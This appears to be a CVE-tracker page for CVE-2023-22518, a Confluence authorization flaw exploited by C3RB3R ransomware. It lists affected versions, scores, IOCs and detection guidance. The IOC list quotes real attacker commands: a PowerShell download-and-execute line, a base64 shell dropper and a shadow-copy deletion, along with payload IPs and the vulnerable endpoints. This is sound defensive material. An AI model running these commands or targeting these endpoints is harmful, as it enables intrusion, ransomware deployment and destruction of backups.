cbcvebase.
CVE-2023-22518
published 2023-10-31

CVE-2023-22518: All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. This Improper Authorization vulnerability allows an…

PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2023-11-28
Exploited in the wild
EPSS
100.00%
100.0th percentile
All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator leading to - but not limited to - full loss of confidentiality, integrity and availability. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.

Affected

13 ranges
VendorProductVersion rangeFixed in
atlassianconfluence_data_center
atlassianconfluence_data_center
atlassianconfluence_data_center
atlassianconfluence_data_center>= 1.0 < 7.19.167.19.16
atlassianconfluence_data_center>= 7.20.0 < 8.3.48.3.4
atlassianconfluence_data_center>= 8.4.0 < 8.4.48.4.4
atlassianconfluence_data_center>= 8.5.0 < 8.5.38.5.3
atlassianconfluence_server
atlassianconfluence_server
atlassianconfluence_server>= 1.0 < 7.19.167.19.16
atlassianconfluence_server>= 7.20.0 < 8.3.48.3.4
atlassianconfluence_server>= 8.4.0 < 8.4.48.4.4
atlassianconfluence_server>= 8.5.0 < 8.5.38.5.3

Detection & IOCsextracted from sources · hover to see the quote

ip193.187.172.73
hash1243e256f9e806652ba8e719273494f84795bbfe
hash2c3b2a6e741cb5d3be7299de007983f1f86c0ef5
hash47c6fdf51760c13d2602909ddbbb84ef8e33f992
hash8988ef7abd931496d7bbdf7db1a67c9def0641d9
hashada7160c49cb22f569265fe3719fa2713a24dcf1
hashf4384ca1c2250d58a17e692ce2a8efd7dcc97a73
urlhttp://193.187.172.73/tmp.1u
urlhxxp://193.176.179.41/tmp.37
path/json/setup-restore.action
path/json/setup-restore-local.action
path/json/setup-restore-progress.action
path/tmp/lru
filenamebapo.sh
otherhttp.favicon.hash:-305179312
commandpowershell.exe -exec bypass -nop -enc IEX((New-Object Net.WebClient).DownloadString(hxxp://193.176[.]179[.]41/tmp.37))
commandsh -c echo -n ZWNobyAtbiBodHRwOi8vMTkzLjE3Ni4xNzkuNDEvYWdhZSA+IC90bXAvbHJ1 | base64 -d | sh
commandcmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{xxxx392B-3896-49EE-8B43-0233022xxxxx}'" delete
  • Detect exploitation attempts by monitoring POST requests to the Confluence setup-restore endpoints: /json/setup-restore.action, /json/setup-restore-local.action, and /json/setup-restore-progress.action from unauthenticated sources.
  • Hunt for the Shodan favicon hash -305179312 to identify exposed Confluence instances potentially targeted in this campaign.
  • Alert on Java (Confluence parent process) spawning shell commands or PowerShell, which indicates post-exploitation command injection via CVE-2023-22518.
  • Detect presence of the malicious Confluence plugin artifact 'web.shell.Plugin' as an indicator of a successful web shell installation post-exploitation.
  • Detect WMIC shadow copy deletion commands executed via cmd.exe as a post-ransomware-deployment indicator to prevent recovery.
  • Monitor for outbound connections from Confluence servers to 45.145.6.112, 193.43.72.11, 193.176.179.41, and 193.187.172.73, which are confirmed C2/payload delivery IPs for C3RB3R ransomware campaigns exploiting CVE-2023-22518.
  • Detect the base64-encoded shell dropper command pattern used in Linux post-exploitation: piping base64-decoded content directly into sh or python interpreters from the Confluence Java process.
  • Lateral movement indicator: monitor for SMB connections on port 445 originating from Confluence servers, as the ransomware attempts to spread over SMB/445.
  • ·Atlassian Cloud (atlassian.net) instances are NOT affected by CVE-2023-22518; only self-hosted Confluence Data Center and Server deployments are vulnerable.
  • ·The CVSS score was escalated from 9.1 to the maximum 10.0 on November 6, 2023, after active ransomware exploitation was confirmed, changing the scope assessment of the vulnerability.
  • ·Temporary mitigation (if patching is not immediately feasible) requires blocking external network access to the three setup-restore endpoints; simply restricting internet access to the Confluence instance is also recommended until patching is complete.
  • ·The new C3RB3R Cerber variant differs from older Cerber samples: ransom note changed from HTML (__$$RECOVERYREDME$$.html) to plain text (read-me3.txt) and encrypted file extension changed from '.locked' to '.L0CK3D'; detection rules targeting old Cerber artifacts may miss this variant.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv3.010.0CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.